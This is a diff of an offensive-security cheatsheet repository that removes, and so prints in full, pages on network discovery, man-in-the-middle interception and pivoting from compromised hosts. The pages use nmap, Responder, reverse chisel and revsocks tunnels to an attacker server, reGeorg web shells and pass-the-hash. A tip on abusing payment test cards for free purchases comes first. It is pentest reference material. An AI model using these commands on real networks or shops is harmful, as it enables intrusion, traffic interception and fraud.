> if the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free
From https://stripe.com/docs/testing#cards : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S. "
e.g :
Test card numbers and tokens
| NUMBER | BRAND | TOKEN |
| :------------- | :------------- | :------------- |
| 4242424242424242 | Visa | tok_visa |
| 4000056655665556 | Visa (debit) | tok_visa_debit |
| 5555555555554444 | Mastercard | tok_mastercard |
International test card numbers and tokens
| NUMBER | TOKEN | COUNTRY | BRAND |
| :------------- | :------------- | :------------- | :------------- |
| 4000000400000008 | tok_at | Austria (AT) | Visa |
| 4000000560000004 | tok_be | Belgium (BE) | Visa |
| 4000002080000001 | tok_dk | Denmark (DK) | Visa |
| 4000002460000001 | tok_fi | Finland (FI) | Visa |
| 4000002500000003 | tok_fr | France (FR) | Visa |
## References
* [[BugBounty] Yahoo phpinfo.php disclosure - Patrik Fehrenbach](http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/)
* [Nmap CheatSheet - HackerTarget](https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/)
* [Web Vulnerabilities](https://swisskyrepo.github.io/InternalAllTheThings/methodology/bug-hunting-methodology/#looking-for-web-vulnerabilities)

View File

@ -1,256 +1,14 @@
# Network Discovery
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/network-discovery](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/)
- [Nmap](#nmap)
- [Network Scan with nc and ping](#network-scan-with-nc-and-ping)
- [Spyse](#spyse)
- [Masscan](#masscan)
- [Netdiscover](#netdiscover)
- [Responder](#responder)
- [Bettercap](#bettercap)
- [Reconnoitre](#reconnoitre)
- [SSL MITM with OpenSSL](#ssl-mitm-with-openssl)
- [References](#references)
## Nmap
* Ping sweep (No port scan, No DNS resolution)
```powershell
nmap -sn -n --disable-arp-ping 192.168.1.1-254 | grep -v "host down"
-sn : Disable port scanning. Host discovery only.
-n : Never do DNS resolution
```
* Basic NMAP
```bash
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
• the flag -sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
• the -p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
• 192.168.0.1 is the IP address to scan
• -oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
• -iL INPUTFILE tells Nmap to use the provided file as inputs
```
* CTF NMAP
This configuration is enough to do a basic check for a CTF VM
```bash
nmap -sV -sC -oA ~/nmap-initial 192.168.1.1
-sV : Probe open ports to determine service/version info
-sC : to enable the script
-oA : to save the results
After this quick command you can add "-p-" to run a full scan while you work with the previous result
```
* Aggressive NMAP
```bash
nmap -A -T4 scanme.nmap.org
• -A: Enable OS detection, version detection, script scanning, and traceroute
• -T4: Defines the timing for the task (options are 0-5 and higher is faster)
```
* Using searchsploit to detect vulnerable services
```bash
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml
```
* Generating nice scan report
```bash
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"
```
* NMAP Scripts
```bash
nmap -sC : equivalent to --script=default
nmap --script 'http-enum' -v web.xxxx.com -p80 -oN http-enum.nmap
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /phpmyadmin/: phpMyAdmin
| /.git/HEAD: Git folder
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_ /image/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
nmap --script smb-enum-users.nse -p 445 [target host]
Host script results:
| smb-enum-users:
| METASPLOITABLE\backup (RID: 1068)
| Full name: backup
| Flags: Account disabled, Normal user account
| METASPLOITABLE\bin (RID: 1004)
| Full name: bin
| Flags: Account disabled, Normal user account
| METASPLOITABLE\msfadmin (RID: 3000)
| Full name: msfadmin,,,
| Flags: Normal user account
List Nmap scripts : ls /usr/share/nmap/scripts/
```
## Network Scan with nc and ping
Sometimes we want to perform network scan without any tools like nmap. So we can use the commands `ping` and `nc` to check if a host is up and which port is open.
To check if hosts are up on a /24 range
```bash
for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP"; fi ; done
```
To check which ports are open on a specific host
```bash
for i in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.18 $i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.18 has port $i open"; fi ; done
```
Both at the same time on a /24 range
```bash
for i in `seq 1 255`; do ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "192.168.1.$i is UP:"; for j in {21,22,80,139,443,445,3306,3389,8080,8443}; do nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1; if [ $? -eq 0 ]; then echo "\t192.168.1.$i has port $j open"; fi ; done ; fi ; done
```
Not in one-liner version:
```bash
for i in `seq 1 255`;
do
ping -c 1 -w 1 192.168.1.$i > /dev/null 2>&1;
if [ $? -eq 0 ];
then
echo "192.168.1.$i is UP:";
for j in {21,22,80,139,443,445,3306,3389,8080,8443};
do
nc -z -w 1 192.168.1.$i $j > /dev/null 2>&1;
if [ $? -eq 0 ];
then
echo "\t192.168.1.$i has port $j open";
fi ;
done ;
fi ;
done
```
## Spyse
* Spyse API - for detailed info is better to check [Spyse](https://spyse.com/)
* [Spyse Wrapper](https://github.com/zeropwn/spyse.py)
#### Searching for subdomains
```bash
spyse -target xbox.com --subdomains
```
#### Reverse IP Lookup
```bash
spyse -target 52.14.144.171 --domains-on-ip
```
#### Searching for SSL certificates
```bash
spyse -target hotmail.com --ssl-certificates
```
```bash
spyse -target "org: Microsoft" --ssl-certificates
```
#### Getting all DNS records
```bash
spyse -target xbox.com --dns-all
```
## Masscan
```powershell
masscan -iL ips-online.txt --rate 10000 -p1-65535 --only-open -oL masscan.out
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.97 --rate 1000
# find machines on the network
sudo masscan --rate 500 --interface tap0 --router-ip $ROUTER_IP --top-ports 100 $NETWORK -oL masscan_machines.tmp
cat masscan_machines.tmp | grep open | cut -d " " -f4 | sort -u > masscan_machines.lst
# find open ports for one machine
sudo masscan --rate 1000 --interface tap0 --router-ip $ROUTER_IP -p1-65535,U:1-65535 $MACHINE_IP --banners -oL $MACHINE_IP/scans/masscan-ports.lst
# TCP grab banners and services information
TCP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep tcp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$TCP_PORTS" ] && sudo nmap -sT -sC -sV -v -Pn -n -T4 -p$TCP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_tcp $MACHINE_IP
# UDP grab banners and services information
UDP_PORTS=$(cat $MACHINE_IP/scans/masscan-ports.lst| grep open | grep udp | cut -d " " -f3 | tr '\n' ',' | head -c -1)
[ "$UDP_PORTS" ] && sudo nmap -sU -sC -sV -v -Pn -n -T4 -p$UDP_PORTS --reason --version-intensity=5 -oA $MACHINE_IP/scans/nmap_udp $MACHINE_IP
```
## Reconnoitre
Dependencies:
* nbtscan
* nmap
```powershell
python2.7 ./reconnoitre.py -t 192.168.1.2-252 -o ./results/ --pingsweep --hostnames --services --quick
```
If you have a segfault with nbtscan, read the following quote.
> Permission is denied on the broadcast address (.0) and it segfaults on the gateway (.1) - all other addresses seem fine here.So to mitigate the problem: nbtscan 192.168.0.2-255
## Netdiscover
```powershell
netdiscover -i eth0 -r 192.168.1.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
20 Captured ARP Req/Rep packets, from 4 hosts. Total size: 876
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.AA 68:AA:AA:AA:AA:AA 15 630 Sagemcom
192.168.1.XX 52:XX:XX:XX:XX:XX 1 60 Unknown vendor
192.168.1.YY 24:YY:YY:YY:YY:YY 1 60 QNAP Systems, Inc.
192.168.1.ZZ b8:ZZ:ZZ:ZZ:ZZ:ZZ 3 126 HUAWEI TECHNOLOGIES CO.,LTD
```
## Responder
```powershell
responder -I eth0 -A # see NBT-NS, BROWSER, LLMNR requests without responding.
responder.py -I eth0 -wrf
```
Alternatively you can use the [Windows version](https://github.com/lgandx/Responder-Windows)
## Bettercap
```powershell
bettercap -X --proxy --proxy-https -T <target IP>
# better cap in spoofing, discovery, sniffer
# intercepting http and https requests,
# targetting specific IP only
```
## SSL MITM with OpenSSL
This code snippet allows you to sniff/modify SSL traffic if there is a MITM vulnerability using only openssl.
If you can modify `/etc/hosts` of the client:
```powershell
sudo echo "[OPENSSL SERVER ADDRESS] [domain.of.server.to.mitm]" >> /etc/hosts # On client host
```
On our MITM server, if the client accepts self signed certificates (you can use a legit certificate if you have the private key of the legit server):
```powershell
openssl req -subj '/CN=[domain.of.server.to.mitm]' -batch -new -x509 -days 365 -nodes -out server.pem -keyout server.pem
```
On our MITM server, we setup our infra:
```powershell
mkfifo response
sudo openssl s_server -cert server.pem -accept [INTERFACE TO LISTEN TO]:[PORT] -quiet < response | tee | openssl s_client -quiet -servername [domain.of.server.to.mitm] -connect[IP of server to MITM]:[PORT] | tee | cat > response
```
In this example, traffic is only displayed with `tee` but we could modify it using `sed` for example.
## References
* [TODO](TODO)
- [Nmap](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#nmap)
- [Network Scan with nc and ping](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#network-scan-with-nc-and-ping)
- [Spyse](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#spyse)
- [Masscan](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#masscan)
- [Netdiscover](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#netdiscover)
- [Responder](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#responder)
- [Bettercap](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#bettercap)
- [Reconnoitre](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#reconnoitre)
- [SSL MITM with OpenSSL](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#ssl-mitm-with-openssl)
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/network-discovery/#references)

View File

@ -1,503 +1,29 @@
# Network Pivoting Techniques
## Summary
* [SOCKS Compatibility Table](#socks-compatibility-table)
* [Windows netsh Port Forwarding](#windows-netsh-port-forwarding)
* [SSH](#ssh)
* [SOCKS Proxy](#socks-proxy)
* [Local Port Forwarding](#local-port-forwarding)
* [Remote Port Forwarding](#remote-port-forwarding)
* [Proxychains](#proxychains)
* [Graftcp](#graftcp)
* [Web SOCKS - reGeorg](#web-socks---regeorg)
* [Web SOCKS - pivotnacci](#web-socks---pivotnacci)
* [Metasploit](#metasploit)
* [sshuttle](#sshuttle)
* [chisel](#chisel)
* [SharpChisel](#sharpchisel)
* [gost](#gost)
* [Rpivot](#rpivot)
* [RevSocks](#revsocks)
* [plink](#plink)
* [ngrok](#ngrok)
* [Capture a network trace with builtin tools](#capture-a-network-trace-with-builtin-tools)
* [Basic Pivoting Types](#basic-pivoting-types)
* [Listen - Listen](#listen---listen)
* [Listen - Connect](#listen---connect)
* [Connect - Connect](#connect---connect)
* [References](#references)
## SOCKS Compatibility Table
| SOCKS Version | TCP | UDP | IPv4 | IPv6 | Hostname |
| ------------- | :---: | :---: | :---: | :---: | :---: |
| SOCKS v4 | ✅ | ❌ | ✅ | ❌ | ❌ |
| SOCKS v4a | ✅ | ❌ | ✅ | ❌ | ✅ |
| SOCKS v5 | ✅ | ✅ | ✅ | ✅ | ✅ |
## Windows netsh Port Forwarding
```powershell
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
# Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80
# Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545
```
1. listenaddress is a local IP address waiting for a connection.
2. listenport local listening TCP port (the connection is waited on it).
3. connectaddress is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport is a TCP port to which the connection from listenport is forwarded to.
## SSH
### SOCKS Proxy
```bash
ssh -D8080 [user]@[host]
ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command
```
Cool Tip : Konami SSH Port forwarding
```bash
[ENTER] + [~C]
-D 1090
```
### Local Port Forwarding
```bash
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
```
### Remote Port Forwarding
```bash
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32
```
## Proxychains
**Config file**: /etc/proxychains.conf
```bash
[ProxyList]
socks4 localhost 8080
```
Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`
## Graftcp
> A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy.
:warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications.
```ps1
# https://github.com/hmgle/graftcp
# Create a SOCKS5, using Chisel or another tool and forward it through SSH
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks
# Run graftcp and specify the SOCKS5
(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080
(attacker) $ graftcp ./nuclei -u http://172.16.1.24
```
Simple configuration file for graftcp
```py
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf
## Listen address (default ":2233")
listen = :2233
loglevel = 1
## SOCKS5 address (default "127.0.0.1:1080")
socks5 = 127.0.0.1:1080
# socks5_username = SOCKS5USERNAME
# socks5_password = SOCKS5PASSWORD
## Set the mode for select a proxy (default "auto")
select_proxy_mode = auto
```
## Web SOCKS - reGeorg
[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
Drop one of the following files on the server:
- tunnel.ashx
- tunnel.aspx
- tunnel.js
- tunnel.jsp
- tunnel.nosocket.php
- tunnel.php
- tunnel.tomcat.5.jsp
```python
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080
optional arguments:
-h, --help show this help message and exit
-l , --listen-on The default listening address
-p , --listen-port The default listening port
-r , --read-buff Local read buffer, max data to be sent per POST
-u , --url The url containing the tunnel script
-v , --verbose Verbose output[INFO|DEBUG]
```
## Web SOCKS - pivotnacci
[pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents.
```powershell
pip3 install pivotnacci
pivotnacci https://domain.com/agent.php --password "s3cr3t"
pivotnacci https://domain.com/agent.php --polling-interval 2000
```
## Metasploit
```powershell
# Meterpreter list active port forwards
portfwd list
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add l 3389 p 3389 r target-host
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete l 3389 p 3389 r target-host
# Meterpreter delete all port forwards
portfwd flush
or
# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24
use auxiliary/server/socks_proxy
set SRVPORT 9090
set VERSION 4a
# or
use auxiliary/server/socks4a # (deprecated)
# Meterpreter list all active routes
run autoroute -p
route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3
# Meterpreter delete all routes
route flush
```
## Empire
```powershell
(Empire) > socksproxyserver
(Empire) > use module management/invoke_socksproxy
(Empire) > set remoteHost 10.10.10.10
(Empire) > run
```
## sshuttle
Transparent proxy server that works as a poor man's VPN. Forwards over ssh.
* Doesn't require admin.
* Works with Linux and MacOS.
* Supports DNS tunneling.
```powershell
pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24
# using a private key
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"
# -x == exclude some network to not transmit over the tunnel
# -x x.x.x.x.x/24
```
## chisel
```powershell
go get -v github.com/jpillora/chisel
# forward port 389 and 88 to hacker computer
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
# SOCKS
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks
```
### SharpChisel
A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel
```powershell
user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"
================================================================
server : run the Server Component of chisel
-p 8080 : run server on port 8080
--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
--auth "user:pass" : Creds required to connect to the server
--reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes.
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.
user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks
```
## Ligolo
Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
1. Build Ligolo
```powershell
# Get Ligolo and dependencies
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep
# Generate self-signed TLS certificates (will be placed in the certs folder)
make certs TLS_HOST=example.com
make build-all
```
2. Use Ligolo
```powershell
# On your attack server.
./bin/localrelay_linux_amd64
# On the compromise host.
ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
```
## Gost
> Wiki English : https://docs.ginuerzh.xyz/gost/en/
```powershell
git clone https://github.com/ginuerzh/gost
cd gost/cmd/gost
go build
# Socks5 Proxy
Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true
# Local Port Forward
gost -L=tcp://:2222/192.168.1.1:22 [-F=..]
```
## Rpivot
Server (Attacker box)
```python
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
```
Client (Compromised box)
```python
python client.py --server-ip <ip> --server-port 9443
```
Through corporate proxy
```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
```
Passing the hash
```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
```
## revsocks
```powershell
# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234
# Connect client to the server
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
```
```powershell
# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks
# Build for Windows
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
go build -ldflags -H=windowsgui
upx revsocks
```
## plink
```powershell
# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389
plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445
plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185
```
## ngrok
```powershell
# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
# log into the service
./ngrok authtoken 3U[REDACTED_TOKEN]Hm
# deploy a port forwarding for 4433
./ngrok http 4433
./ngrok tcp 4433
```
## cloudflared
```bash
# Get the binary
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
tar xvzf cloudflared-stable-linux-amd64.tgz
# Expose accessible internal service to the internet
./cloudflared tunnel --url <protocol>://<host>:<port>
```
## Capture a network trace with builtin tools
* Windows (netsh)
```ps1
# start a capture use the netsh command.
netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384
# stop the trace
netsh trace stop
# Event tracing can be also used across a reboots
netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384
# To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version.
etl2pcapng.exe c:\trace.etl c:\trace.pcapng
# Use filters
netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384
```
* Linux (tcpdump)
```ps1
sudo apt-get install tcpdump
tcpdump -w 0001.pcap -i eth0
tcpdump -A -i eth0
# capture every TCP packet
tcpdump -i eth0 tcp
# capture everything on port 22
tcpdump -i eth0 port 22
```
## Basic Pivoting Types
| Type | Use Case |
| :------------- | :------------------------------------------ |
| Listen - Listen | Exposed asset, may not want to connect out. |
| Listen - Connect | Normal redirect. |
| Connect - Connect | Cant bind, so connect to bridge two hosts |
### Listen - Listen
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`|
| socat | `socat -v tcp-listen:8080 tcp-listen:9090` |
| remote host 1 | `ncat localhost 8080 < file` |
| remote host 2 | `ncat localhost 9090 > newfile` |
### Listen - Connect
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` |
| socat | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1 | `ncat localhost -p 8080 < file` |
| remote host 2 | `ncat -l -p 9090 > newfile` |
### Connect - Connect
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat localhost 8080 -c "ncat localhost 9090"` |
| socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1 | `ncat -l -p 8080 < file` |
| remote host 2 | `ncat -l -p 9090 > newfile` |
## References
* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)
* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences)
* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/)
* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/)
* 🇫🇷 [Etat de lart du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/)
* [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)
* [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory)
* [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/)
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/pivoting/network-pivoting-techniques](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/)
* [SOCKS Compatibility Table](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#socks-compatibility-table)
* [Windows netsh Port Forwarding](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#windows-netsh-port-forwarding)
* [SSH](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#ssh)
* [SOCKS Proxy](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#socks-proxy)
* [Local Port Forwarding](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#local-port-forwarding)
* [Remote Port Forwarding](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#remote-port-forwarding)
* [Proxychains](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#proxychains)
* [Graftcp](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#graftcp)
* [Web SOCKS - reGeorg](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#web-socks---regeorg)
* [Web SOCKS - pivotnacci](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#web-socks---pivotnacci)
* [Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#metasploit)
* [sshuttle](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#sshuttle)
* [chisel](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#chisel)
* [SharpChisel](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#sharpchisel)
* [gost](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#gost)
* [Rpivot](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#rpivot)
* [RevSocks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#revsocks)
* [plink](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#plink)
* [ngrok](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#ngrok)
* [Capture a network trace with builtin tools](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#capture-a-network-trace-with-builtin-tools)
* [Basic Pivoting Types](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#basic-pivoting-types)
* [Listen - Listen](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#listen---listen)
* [Listen - Connect](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#listen---connect)
* [Connect - Connect](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#connect---connect)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/pivoting/network-pivoting-techniques/#references)

View File

@ -1,747 +1,37 @@
# Office - Attacks
### Summary
* [Office Products Features](#office-products-features)
* [Office Default Passwords](#office-default-passwords)
* [Office Macro execute WinAPI](#office-macro-execute-winapi)
* [Excel](#excel)
* [XLSM - Hot Manchego](#xlsm---hot-manchego)
* [XLS - Macrome](#xls---macrome)
* [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter)
* [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut)
* [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec)
* [SLK - EXEC](#slk---exec)
* [Word](#word)
* [DOCM - Metasploit](#docm---metasploit)
* [DOCM - Download and Execute](#docm---download-and-execute)
* [DOCM - Macro Creator](#docm---macro-creator)
* [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro)
* [DOCM - VBA Wscript](#docm---vba-wscript)
* [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment)
* [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task)
